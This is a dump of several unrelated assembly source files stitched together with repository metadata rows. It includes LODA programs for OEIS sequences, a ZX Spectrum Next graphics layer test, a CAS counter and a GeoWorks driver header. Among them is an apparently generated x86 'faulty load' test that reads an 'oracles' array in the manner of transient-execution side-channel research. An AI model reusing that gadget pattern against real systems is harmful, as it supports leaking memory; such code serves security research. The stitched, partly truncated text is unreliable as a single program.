; 0,4,16,36,64,100,144,196,256,324,400,484,576,676,784,900,1024,1156,1296,1444,1600,1764,1936,2116,2304,2500,2704,2916,3136,3364,3600,3844,4096,4356,4624,4900,5184,5476,5776,6084,6400,6724,7056,7396,7744,8100,8464,8836,9216,9604,10000,10404,10816,11236,11664,12100,12544,12996,13456,13924,14400,14884,15376,15876,16384,16900,17424,17956,18496,19044,19600,20164,20736,21316,21904,22500,23104,23716,24336,24964,25600,26244,26896,27556,28224,28900,29584,30276,30976,31684,32400,33124,33856,34596,35344,36100,36864,37636,38416,39204,40000,40804,41616,42436,43264,44100,44944,45796,46656,47524,48400,49284,50176,51076,51984,52900,53824,54756,55696,56644,57600,58564,59536,60516,61504,62500,63504,64516,65536,66564,67600,68644,69696,70756,71824,72900,73984,75076,76176,77284,78400,79524,80656,81796,82944,84100,85264,86436,87616,88804,90000,91204,92416,93636,94864,96100,97344,98596,99856,101124,102400,103684,104976,106276,107584,108900,110224,111556,112896,114244,115600,116964,118336,119716,121104,122500,123904,125316,126736,128164,129600,131044,132496,133956,135424,136900,138384,139876,141376,142884,144400,145924,147456,148996,150544,152100,153664,155236,156816,158404,160000,161604,163216,164836,166464,168100,169744,171396,173056,174724,176400,178084,179776,181476,183184,184900,186624,188356,190096,191844,193600,195364,197136,198916,200704,202500,204304,206116,207936,209764,211600,213444,215296,217156,219024,220900,222784,224676,226576,228484,230400,232324,234256,236196,238144,240100,242064,244036,246016,248004
mov $1,$0
pow $1,2
mul $1,4
| 227.142857 | 1,519 | 0.821384 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/016/A016742.asm | 1,590 | Assembly |
; A105220: Trajectory of 1 under the morphism 1->{1,2,1}, 2->{2,2,2}.
; 1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,2,2,2,2
lpb $0,1
lpb $0,1
div $0,2
mul $0,2
mov $1,5
lpe
div $0,3
lpe
div $1,5
add $1,1
| 47.928571 | 501 | 0.506706 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/105/A105220.asm | 671 | Assembly |
; this is pretty much copy of "Layer2Colours" test, only ULA parts are changed to Timex
; Hi Colour mode (256x192 with 8x1 attributes).
; not sure if there's point to share more source between, let's keep it like this for
; the moment, then maybe refactor later (there's one more variant pending, Timex-HiRes)
device zxspectrum48
org $C000 ; must be in last 16k as I'm using all-RAM mapping for Layer2
INCLUDE "../../Constants.asm"
INCLUDE "../../Macros.asm"
INCLUDE "../../TestFunctions.asm"
INCLUDE "../../TestData.asm"
INCLUDE "../../OutputFunctions.asm"
INCLUDE "../../timing.i.asm"
; colour definitions
C_BLACK equ %00000000 ; 0
C_WHITE equ %10110110 ; 1
C_WHITE2 equ %10010010 ; 2
C_B_WHITE equ %11111111 ; 3
C_T_WHITE equ %01101101 ; 4
C_B_YELLOW equ %11011000 ; 5
C_B_GREEN equ %00011000 ; 6
C_PINK equ $E3 ; 7
C_B_GREEN2 equ %00011100 ; 8
C_B_CYAN equ %00011011 ; 9
C_PINK2 equ $E3 ; 10
C_TEXT equ %11110011 ; 11
C_D1_TEXT equ %01100101 ; 12 ; soft shadow edges ([+1,0], [0,+1])
C_D2_TEXT equ %00000000 ; 13 ; hard shadow [+1,+1]
CI_BLACK equ 0
CI_WHITE equ 1
CI_WHITE2 equ 2 ; for emphasisig different layer priority block
CI_B_WHITE equ 3
CI_T_WHITE equ 4
CI_B_YELLOW equ 5
CI_B_GREEN equ 6
CI_PINK equ 7
CI_B_GREEN2 equ 8 ; for Layer2 it will get "priority" bit set
CI_B_CYAN equ 9
CI_PINK2 equ 10 ; for Layer2 it will get "priority" bit set
CI_TEXT equ 11
CI_D1_TEXT equ 12
CI_D2_TEXT equ 13
colourDef:
db C_BLACK, C_WHITE, C_WHITE2, C_B_WHITE, C_T_WHITE, C_B_YELLOW, C_B_GREEN
db C_PINK, C_B_GREEN2, C_B_CYAN, C_PINK2, C_TEXT, C_D1_TEXT, C_D2_TEXT
colourDefSz equ $ - colourDef
LegendText:
db 'Legend', 0
Start:
ld sp,$FFE0
call StartTest
; Set first-ULA palette, enable ULANext, enable auto-inc (ULA pal. is LoRes pal.!)
NEXTREG_nn PALETTE_CONTROL_NR_43, %00000001
NEXTREG_nn PALETTE_INDEX_NR_40, 0 ; index 0 (ink)
call SetTestPalette
NEXTREG_nn PALETTE_INDEX_NR_40, 128 ; index 128 (paper+border)
call SetTestPalette
NEXTREG_nn PALETTE_FORMAT_NR_42, $0F ; ULANext INK mask 15
; Set first-Sprite palette, enable ULANext, enable auto-inc
NEXTREG_nn PALETTE_CONTROL_NR_43, %00100001
NEXTREG_nn PALETTE_INDEX_NR_40, 0 ; index 0
call SetTestPalette
; Set first-Layer2 palette, enable ULANext, enable auto-inc
NEXTREG_nn PALETTE_CONTROL_NR_43, %00010001
NEXTREG_nn PALETTE_INDEX_NR_40, 0 ; index 0
call SetTestPalette ; this did set only 8 bit colours
; modify the two extra colours exercising the "priority" bit
NEXTREG_nn PALETTE_INDEX_NR_40, CI_B_GREEN2
NEXTREG_nn PALETTE_VALUE_9BIT_NR_44, C_B_GREEN2
NEXTREG_nn PALETTE_VALUE_9BIT_NR_44, $80 ; set priority bit, Blue=0
NEXTREG_nn PALETTE_INDEX_NR_40, CI_PINK2
NEXTREG_nn PALETTE_VALUE_9BIT_NR_44, C_PINK2
NEXTREG_nn PALETTE_VALUE_9BIT_NR_44, $81 ; set priority bit, Blue=1
; setup transparency features - make pink transparent and visible as fallback
NEXTREG_nn GLOBAL_TRANSPARENCY_NR_14, C_PINK
NEXTREG_nn TRANSPARENCY_FALLBACK_COL_NR_4A, C_PINK
NEXTREG_nn SPRITE_TRANSPARENCY_I_NR_4B, CI_PINK ; sprite transparency needs index
; set up Timex HiColor mode
NEXTREG2A PERIPHERAL_3_NR_08
or %00000100 ; enable Timex modes
NEXTREG_A PERIPHERAL_3_NR_08
ld a,%00000010 ; set Hi-colour Timex mode
out (TIMEX_P_FF),a
; show yellow border while drawing and preparing...
BORDER CI_B_YELLOW
; draw the ULA Timex hi-colour part for pixel combining
call DrawUlaHiColPart
; reset LoRes scroll registers (did affect ULA screen in cores 2.00.25+ to 3.0.5?)
NEXTREG_nn LORES_XOFFSET_NR_32, 0
NEXTREG_nn LORES_YOFFSET_NR_33, 0
; reset ULA scroll registers (regular scroll for ULA since some late core 3.0.x)
NEXTREG_nn ULA_XOFFSET_NR_26, 0
NEXTREG_nn ULA_YOFFSET_NR_27, 0
; reset Layer2 scroll registers
NEXTREG_nn LAYER2_XOFFSET_NR_16, 0
NEXTREG_nn LAYER2_YOFFSET_NR_17, 0
; setup Layer2 bank to 9 (like NextZXOS does)
NEXTREG_nn LAYER2_RAM_BANK_NR_12, 9
; make Layer2 visible
ld bc, LAYER2_ACCESS_P_123B
ld a, LAYER2_ACCESS_L2_ENABLED
out (c), a
; map last third of Layer2 into memory (into 8000..BFFF region)
NEXTREG_nn MMU4_8000_NR_54, 22 ; $04
NEXTREG_nn MMU5_A000_NR_55, 23 ; $05
; intermezzo - prepare sprite graphics + upload them, in the last third of L2 area
call PrepareSpriteGraphics
; map whole Layer2 into memory (into 0000..BFFF region) (commented are default values)
NEXTREG_nn MMU0_0000_NR_50, 18 ; $FF
NEXTREG_nn MMU1_2000_NR_51, 19 ; $FF
NEXTREG_nn MMU2_4000_NR_52, 20 ; $0A
NEXTREG_nn MMU3_6000_NR_53, 21 ; $0B
; Draw Layer2: clear Layer2 with transparent colour + draw test info
FILL_AREA $0000, 256*192, CI_PINK
call DrawLayer2Part
; map full ROM back to make ROM characters graphics available
NEXTREG_nn MMU0_0000_NR_50, $FF
NEXTREG_nn MMU1_2000_NR_51, $FF
; use Layer2-over-ROM feature to write into Layer2 for 0000..3FFF region
ld a,LAYER2_ACCESS_WRITE_OVER_ROM+LAYER2_ACCESS_L2_ENABLED+LAYER2_ACCESS_OVER_ROM_BANK_0
; enable layer2, write-over-ROM, and select bank 0 for write
ld bc,LAYER2_ACCESS_P_123B
out (c),a ; this effectively creates L2-full-RAM mode in 0000..BFFF for WRITE
call DrawCharLabels
; map low RAM back to make im1 work (updates counters in $5B00+ area)
NEXTREG_nn MMU2_4000_NR_52, $0A
NEXTREG_nn MMU3_6000_NR_53, $0B
; all drawing is now finished, the test will enter loop just changing layer-modes
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; loop infinitely and set correct layer ordering for various parts of screen
; the TEST areas (except the first one) are at x:88 coordinate, giving probably
; almost enough time to control register NR_15 to kick-in and modify output.
; The scanline does change at pixel x:0, i.e. after that there are instructions:
; IN 12T, JR cc 7T, RET 10T, NEXTREG_nn 20T
; => cca 49+T until the layer order is modified (first pixels of TEST may be wrong)
; (better solution would be to use COPPER for these, but when written like this,
; the test does not depend on COPPER existence/emulation, so it's written like this)
ScanlinesLoop:
ei
halt
BORDER CI_WHITE
;; SLU phase (scanlines 0..31)
; Set layers to: SLU, enable sprites (no over border), no LoRes
NEXTREG_nn SPRITE_CONTROL_NR_15, %00000001
; wait some fixed time after IM1 handler to get into scanlines 255+
IDLE_WAIT $0002
; wait until scanline MSB becomes 0 again (scanline 0)
WAIT_FOR_SCANLINE_MSB 0
; wait until scanline 32 (31 and well over half, flip rendering after half-line)
WAIT_HALF_SCANLINE_AFTER 31
;; LSU phase (scanlines 32..63) - white border
NEXTREG_nn SPRITE_CONTROL_NR_15, %00000101
BORDER CI_WHITE2
WAIT_HALF_SCANLINE_AFTER 63
;; SUL phase (scanlines 64..95) - grey border
NEXTREG_nn SPRITE_CONTROL_NR_15, %00001001
BORDER CI_WHITE
WAIT_HALF_SCANLINE_AFTER 95
;; LUS phase (scanlines 96..127) - white border
NEXTREG_nn SPRITE_CONTROL_NR_15, %00001101
BORDER CI_WHITE2
WAIT_HALF_SCANLINE_AFTER 127
;; USL phase (scanlines 128..159) - grey border
NEXTREG_nn SPRITE_CONTROL_NR_15, %00010001
BORDER CI_WHITE
WAIT_HALF_SCANLINE_AFTER 159
;; ULS phase (scanlines 160..191) - white border
NEXTREG_nn SPRITE_CONTROL_NR_15, %00010101
BORDER CI_WHITE2
; make bottom border white
WAIT_HALF_SCANLINE_AFTER 191
BORDER CI_WHITE
jr ScanlinesLoop
;call EndTest
;;;;;;;;;;;;;;;;;;;;;;;; Set palette (currently selected one) ;;;;;;;;;;;;;;;;;;;
SetTestPalette:
ld hl,colourDef
ld b,colourDefSz
.SetPaletteColours:
ld a,(hl)
NEXTREG_A PALETTE_VALUE_NR_41
inc hl
djnz .SetPaletteColours
ret
;;;;;;;;;;;;;;;;;;;; Draw ULA (HiCol) part ;;;;;;;;;;;;;;;;;;;
DrawUlaHiColPart:
; set all attributes: black on white
FILL_AREA MEM_TIMEX_SCR1_6000, 32*192, CI_BLACK + (CI_WHITE<<4)
; set dark white under certain areas to emphasise the separate sections
ld hl,MEM_TIMEX_SCR1_6000+4*32
ld e,3
.DarkSectionsLoop:
ld bc,$040F
ld a,CI_BLACK + (CI_WHITE2<<4)
call .DrawNxM_AttributeBox
ld bc,4*32
add hl,bc
dec e
jr nz,.DarkSectionsLoop
; draw MachineID and core versions:
ld de,MEM_ZX_SCREEN_4000 + 1*32 + 18 ; AT [1,18] machineID
ld bc,MEM_ZX_SCREEN_4000 + 2*32 + 18 ; AT [2,18] core
call OutMachineIdAndCore_defLabels
ld hl,LegendText
ld de,MEM_ZX_SCREEN_4000 + 4*32 + 23
call OutStringAtDe
; have some fun with machineID + core version attributes in HiCol mode
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 0*256, 14, CI_B_WHITE + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 1*256, 14, CI_B_WHITE + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 2*256, 14, CI_TEXT + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 3*256, 14, CI_D1_TEXT + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 4*256, 14, CI_T_WHITE + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 5*256, 14, CI_WHITE + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 6*256, 14, CI_WHITE + (CI_BLACK<<4)
FILL_AREA MEM_TIMEX_SCR1_6000 + 1*32 + 17 + 7*256, 14, CI_WHITE + (CI_BLACK<<4)
; make ULA transparent under other "legend" boxes
ld hl,MEM_TIMEX_SCR1_6000 + 6*32 + 23 ; SPRITE leg. NEEDS even line, odd column!
call .Draw4x6TransparentBoxes
ld hl,MEM_TIMEX_SCR1_6000 + 2048 + 3*32 + 23
call .Draw4x6TransparentBoxes
ld hl,MEM_TIMEX_SCR1_6000 + 4096 + 0*32 + 23
call .Draw4x6TransparentBoxes
; make ULA transparent under legend-label area
ld hl,MEM_TIMEX_SCR1_6000 + 0
ld bc,$1804
call .DrawNxMTransparentBoxes
; set attributes of "result" 6x4 boxes
ld hl,MEM_TIMEX_SCR1_6000 + 5
ld e,6
.DrawTestDataForOtherModes:
call .Draw4x6TestData
dec e
jr nz,.DrawTestDataForOtherModes
ret
.Draw4x6TestData:
call .Draw2x6Boxes
.Draw2x6Boxes:
ld a,CI_BLACK+(CI_B_CYAN<<4)
ld bc,$0106
call .DrawNxM_AttributeBox
ld b,1
jr .DrawNxMTransparentBoxes
.Draw4x6TransparentBoxes:
ld bc,$0406
.DrawNxMTransparentBoxes:
ld a,CI_BLACK+(CI_PINK<<4)
; HL = target address, BC = rows/columns, A = attribute
.DrawNxM_AttributeBox:
push de
ld e,a ; preserve attribute in E
.DrawNRowsLoop:
push bc
push hl
ld b,0
.Draw8LinesLoop:
ld a,e
push hl
call FillArea
pop hl
inc h ; go 1 line down (ULA VRAM addressing scheme)
ld a,h
and $07 ; a == 0 when all 8 lines of char were done
jr nz,.Draw8LinesLoop
pop hl
call AdvanceVramHlToNextLine
pop bc
djnz .DrawNRowsLoop
pop de
ret
;;;;;;;;;;;;;;;;;;;;;;;; Draw Layer2 part ;;;;;;;;;;;;;;;;;;;
DrawLayer2Part:
; draw "legend" boxes, draw expected result areas and also the test-areas themselves
; fill background under "label/expected" areas (all 6 of them in one fill)
ld a,8
ld de,CI_WHITE*256 + CI_WHITE
ld bc,$0418
ld hl,0*256 + 0
call FillL2Box
; set dark white under certain areas to emphasise the separate sections
ld de,CI_WHITE2*256 + CI_WHITE2
ld bc,$0404
ld hl,4*8*256 + 0
.DarkSectionsLoop:
ld a,8
call FillL2Box
ld a,h
add a,8*8
ld h,a
cp 3*8*8
jr c,.DarkSectionsLoop
; draw expected result area for orders: SLU, LSU, SUL, LUS, USL, ULS
ld hl,12*256 + 4
; SLU
call .DrawExpectedResultTransparent
call .DrawExpectedResultUla
call .DrawExpectedResultLayer2
call .DrawExpectedResultSprites
call .DrawExpectedResultLayer2p
ld a,4*8
add a,h
ld h,a
; LSU
call .DrawExpectedResultTransparent
call .DrawExpectedResultUla
call .DrawExpectedResultSprites
call .DrawExpectedResultLayer2
call .DrawExpectedResultLayer2p
ld a,4*8
add a,h
ld h,a
; SUL
call .DrawExpectedResultTransparent
call .DrawExpectedResultLayer2
call .DrawExpectedResultUla
call .DrawExpectedResultSprites
call .DrawExpectedResultLayer2p
ld a,4*8
add a,h
ld h,a
; LUS
call .DrawExpectedResultTransparent
call .DrawExpectedResultSprites
call .DrawExpectedResultUla
call .DrawExpectedResultLayer2
call .DrawExpectedResultLayer2p
ld a,4*8
add a,h
ld h,a
; USL
call .DrawExpectedResultTransparent
call .DrawExpectedResultLayer2
call .DrawExpectedResultSprites
call .DrawExpectedResultUla
call .DrawExpectedResultLayer2p
ld a,4*8
add a,h
ld h,a
; ULS
call .DrawExpectedResultTransparent
call .DrawExpectedResultSprites
call .DrawExpectedResultLayer2
call .DrawExpectedResultUla
call .DrawExpectedResultLayer2p
; draw Sprite-legend
ld a,1
ld hl,6*8*256 + 8*(23+0)
ld de,CI_BLACK*256 + CI_WHITE
ld bc,$0820
call FillL2Box
ld l,8*(23+5)
call FillL2Box
ld de,CI_B_YELLOW*256 + CI_B_YELLOW
ld l,8*(23+1)
call FillL2Box
ld l,8*(23+3)
call FillL2Box
ld de,CI_B_WHITE*256 + CI_T_WHITE
ld bc,$0410
ld l,8*(23+2)
call FillL2BoxWithDither2x2
ld l,8*(23+4)
call FillL2BoxWithDither2x2
; draw the dithered 16x16 boxes to reveal full sprite size
ld de,SPR_DITHER_BOX_GFX
ld hl,(6+0)*8*256 + 8*(23+1)
call DrawDitherGfxInside16x16Box
ld hl,(6+0)*8*256 + 8*(23+3)
call DrawDitherGfxInside16x16Box
ld hl,(6+2)*8*256 + 8*(23+1)
call DrawDitherGfxInside16x16Box
ld hl,(6+2)*8*256 + 8*(23+3)
call DrawDitherGfxInside16x16Box
; draw Layer2-legend
ld bc,$0C08
ld de,CI_B_WHITE*256 + CI_T_WHITE
ld hl,(11+2)*8*256 + 8*(23+0)
call FillL2BoxWithDither2x2
ld de,CI_B_WHITE*256 + CI_WHITE
ld hl,(11+2)*8*256 + 8*(23+3)
call FillL2BoxWithDither2x2
ld de,CI_B_GREEN*256 + CI_B_GREEN
ld hl,(11+0)*8*256 + 8*(23+0)
call FillL2BoxWithDither2x2
ld de,CI_B_GREEN2*256 + CI_B_GREEN2
ld hl,(11+0)*8*256 + 8*(23+3)
call FillL2BoxWithDither2x2
; draw Layer2 TEST pixels for all combining modes
ld h,(0+0)*8
ld ixl,6
.OtherModesDrawLoop:
ld l,8*(5+0)
ld de,CI_B_GREEN*256 + CI_B_GREEN
call FillL2BoxWithDither2x2
ld l,8*(5+3)
ld de,CI_B_GREEN2*256 + CI_B_GREEN2
call FillL2BoxWithDither2x2
ld a,16
add a,h
ld h,a
ld de,CI_PINK2*256 + CI_PINK2
call FillL2BoxWithDither2x2
ld a,16
add a,h
ld h,a
dec ixl
jr nz,.OtherModesDrawLoop
; draw ULA-legend
ld de,CI_B_WHITE*256 + CI_T_WHITE
ld bc,$180C
ld hl,(16+1)*8*256 + 8*(23+0)
call FillL2BoxWithDither2x2
ld de,CI_B_CYAN*256 + CI_B_CYAN
ld bc,$1804
ld hl,(16+0)*8*256 + 8*(23+0)
call FillL2BoxWithDither2x2
ld hl,(16+2)*8*256 + 8*(23+0)
call FillL2BoxWithDither2x2
ret
.DrawExpectedResultTransparent:
ld bc,$0C08
ld de,CI_B_WHITE*256 + CI_T_WHITE
jp FillL2BoxWithDither2x2
.DrawExpectedResultUla:
push hl
ld de,CI_B_CYAN*256 + CI_B_CYAN
ld bc,$0C02
ld a,2*4
add a,h
ld h,a
call FillL2BoxWithDither2x2
pop hl
jp FillL2BoxWithDither2x2
.DrawExpectedResultSprites:
push hl
ld de,CI_B_YELLOW*256 + CI_B_YELLOW
ld bc,$0208
ld a,1*4
add a,l
ld l,a
call FillL2BoxWithDither2x2
ld a,2*4
add a,l
ld l,a
call FillL2BoxWithDither2x2
pop hl
ret
.DrawExpectedResultLayer2:
ld de,CI_B_GREEN*256 + CI_B_GREEN
ld bc,$0604
jp FillL2BoxWithDither2x2
.DrawExpectedResultLayer2p:
;; Layer2 priority part
push hl
ld de,CI_B_GREEN2*256 + CI_B_GREEN2
ld bc,$0604
ld a,3*4
add a,l
ld l,a
call FillL2BoxWithDither2x2
pop hl
ret
;;;;;;;;;;;;;;;;;;;;;;;; Setup Sprites part ;;;;;;;;;;;;;;;;;;;
SPR_DITHER_BOX_GFX equ $0300 + CI_BLACK
PrepareSpriteGraphics:
; draw transparent sprite colour (8x16px)
ld a,1
ld bc,$0408
ld hl,$8008
ld de,CI_PINK*256 + CI_PINK
call FillL2BoxWithDither2x2
; draw the solid sprite colour (8x16px)
ld l,0
ld de,CI_B_YELLOW*256 + CI_B_YELLOW
call FillL2BoxWithDither2x2
; draw the dithered rectangle inside sprite
ld de,SPR_DITHER_BOX_GFX ; HL = $8000 already
call DrawDitherGfxInside16x16Box
; upload prepared sprite pattern
ld bc,SPRITE_STATUS_SLOT_SELECT_P_303B
xor a
out (c), a ; Write to pattern/attribute slot 0
ld c,SPRITE_PATTERN_P_5B ; port number for pattern upload
ld hl,$8000 ; starting xy L2 coordinates (= memory address)
call .UploadOnePatternFromL2
; set up sprites to be drawn (4 byte attribute set is enough for this test)
; set four sprites over test area for all 6 modes
ld b,6
ld de,$2020 + 0*8*256 + 8*(5+1) ; [x,y]
ld hl,$8000 ; H: visible, 4Bset, pattern 0, L:palOfs 0, ..., X9 0
.SetSpritesForOtherModes:
call .UploadOneAttribSet
ld a,16
add a,e
ld e,a
call .UploadOneAttribSet
ld a,16
add a,d
ld d,a
call .UploadOneAttribSet
ld a,-16
add a,e
ld e,a
call .UploadOneAttribSet
ld a,16
add a,d
ld d,a
djnz .SetSpritesForOtherModes
; make sure all other sprites are not visible
ld h,0
ld b,64-6*4
.SetRemainingSpritesLoop:
call .UploadOneAttribSet
djnz .SetRemainingSpritesLoop
ret
;E: byte1, D: byte2, L: byte3, H: byte4
.UploadOneAttribSet:
ld c,SPRITE_ATTRIBUTE_P_57
out (c),e ; low8b X
out (c),d ; low8b Y
out (c),l ; palette offset, mirror/rotation, X9
out (c),h ; visible, 4/5B set, pattern 0..63
ret
.UploadOnePatternFromL2:
ld a,h
add a,16 ; ending Y coordinate
.UploadOnePatternPixels:
push hl
ld b,16
otir
pop hl
inc h
cp h
jr nz,.UploadOnePatternPixels
ret
;;;;;;;;;;;;;;;;; Draw letter-hints into Layer2 ;;;;;;;;;;;;;;;;;;;
LayerOrderLabelsTxt: ; array[X, Y, ASCIIZ], $FF
db $C4, $34, "S", 0, $C0, $64, "L", 0, $D4, $64, "Lp", 0
db $CC, $84, "U", 0, $BC, $94, "HiCol",0
db $04, $03, "SLU", 0, $04, $23, "LSU", 0, $04, $43, "SUL", 0
db $04, $63, "LUS", 0, $04, $83, "USL", 0, $04, $A3, "ULS", 0
db $FF
DrawCharLabels:
; single-letter hints into legend with the Separate-layer graphics
; and Layers order scheme above expected results
ld bc,CI_TEXT*256 + CI_D1_TEXT
ld hl,LayerOrderLabelsTxt
jp OutL2StringsIn3Cols
;;;;;;;;;;;;;;;;;;;;;;;; Helper functions ;;;;;;;;;;;;;;;;;;;
; HL: coordinates, E:colour, D:ditherMask (pixels-1)
DrawDitherGfxInside16x16Box:
push af
push hl
push bc
ld bc,$1010 ; 16x16 fixed size of this box (can't change easily because $0E)
.DitherRowLoop:
push hl
push bc
.DitherPixelLoop:
ld a,h
xor l
and d
jr nz,.DoNotDot
ld a,h
xor 2 ; moves the dots toward inside (with xor0 the edge of sprite is dotted)
inc a ; 0 -> 1, 0F -> 10
and $0E ; 0 -> H=x0/xF
jr z,.DoDot
ld a,l
xor 2
inc a ; 0 -> 1, 0F -> 10
and $0E ; 0 -> L=x0/xF
jr nz,.DoNotDot
.DoDot:
ld (hl),e
.DoNotDot:
inc l
djnz .DitherPixelLoop
pop bc
pop hl
inc h
dec c
jr nz,.DitherRowLoop
pop bc
pop hl
pop af
ret
savesna "LmxHiCol.sna", Start
| 32.987654 | 97 | 0.614895 | [
"MIT"
] | MrKWatkins/ZXSpectrumNextTests | Tests/Graphics/LayersMixingHiCol/Main.asm | 21,376 | Assembly |
# Paul McKenney's Statistical Counter (PerfBook 5.2) using CAS
#
# Counter thread: increment global variable heap[0] 3 times.
#
# steps: maximum CAS executions = 3 * m * (m + 1) / 2
# = 3 times triangular number for m threads
# * formula = cas * 3 * m * (m + 1) / 2 + 3 * (loop - cas) + total - loop
# * cas = 4
# * loop = 9
# * total = 11
#
# template parameter:
# * 10 = local counter address
#
# initial:
# * heap[0] = 0
# * heap[10] = 3
#
# input:
# * heap[10] = local counter variable
#
inc: MEM 0 # load global | cas | loop
ADDI 1 # increment global | |
CAS 0 # store global | |
JZ inc # retry if case failed _| |
LOAD 10 # load local |
SUBI 1 # decrement local |
STORE 10 # store local (global flushed) |
JNZ inc # repeat if not finished _|
CHECK 0 # start checker thread
HALT
| 30.53125 | 73 | 0.507677 | [
"MIT"
] | phlo/concubine | experiments/count/cas.2.3/count.cas.0.asm | 977 | Assembly |
; A221465: Number of 0..n arrays of length 6 with each element unequal to at least one neighbor, starting with 0.
; 5,88,513,1856,5125,11880,24353,45568,79461,131000,206305,312768,459173,655816,914625,1249280,1675333,2210328,2873921,3688000,4676805,5867048,7288033,8971776,10953125,13269880,15962913,19076288,22657381,26757000
mov $1,5
mov $2,20
mov $5,$0
mov $6,$0
lpb $2
add $1,$5
sub $2,1
lpe
mov $3,$6
lpb $3
sub $3,1
add $4,$5
lpe
mov $2,31
mov $5,$4
lpb $2
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3
sub $3,1
add $4,$5
lpe
mov $2,23
mov $5,$4
lpb $2
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3
sub $3,1
add $4,$5
lpe
mov $2,8
mov $5,$4
lpb $2
add $1,$5
sub $2,1
lpe
mov $3,$6
mov $4,0
lpb $3
sub $3,1
add $4,$5
lpe
mov $2,1
mov $5,$4
lpb $2
add $1,$5
sub $2,1
lpe
| 13.864407 | 212 | 0.634474 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/221/A221465.asm | 818 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rdi
push %rsi
lea addresses_WT_ht+0x1bc29, %r12
nop
nop
nop
nop
nop
dec %rsi
mov (%r12), %r11w
nop
nop
nop
and %r11, %r11
lea addresses_normal_ht+0x12939, %r11
nop
nop
nop
inc %rdi
mov (%r11), %esi
nop
nop
nop
nop
nop
add $52826, %rsi
pop %rsi
pop %rdi
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rbx
push %rcx
push %rdx
// Load
lea addresses_RW+0x17151, %r9
nop
nop
nop
sub %rbx, %rbx
movb (%r9), %cl
nop
nop
nop
nop
add %r14, %r14
// Faulty Load
mov $0xa19, %r14
nop
nop
nop
nop
xor %r9, %r9
movb (%r14), %dl
lea oracles, %r14
and $0xff, %rdx
shlq $12, %rdx
mov (%r14,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'00': 70}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 18.377778 | 209 | 0.642684 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/P/_zr_/i9-9900K_12_0xca.log_70_1779.asm | 1,654 | Assembly |
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Dumb frame buffer video drivers
FILE: dumbcomColor.asm
AUTHOR: Jim DeFrisco
ROUTINES:
Name Description
---- -----------
GLB VidMapRGB Map passed RGB value to closest available
GLB VidGetPalette Get the current palette
GLB VidSetPalette Set the current palette
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 12/89 initial version
DESCRIPTION:
This is the source for the bitmap screen drivers color escape routines.
They are dummy routines for the most part, and are here to make life
easier for the kernel.
The complete specification for screen drivers can be found on the
system in the pcgeos spec directory (/usr/pcgeos/Spec/video.doc).
The spec for the color stuff is in pcgeos/Spec/color.doc
$Id: dumbcomColor.asm,v 1.1 97/04/18 11:42:26 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
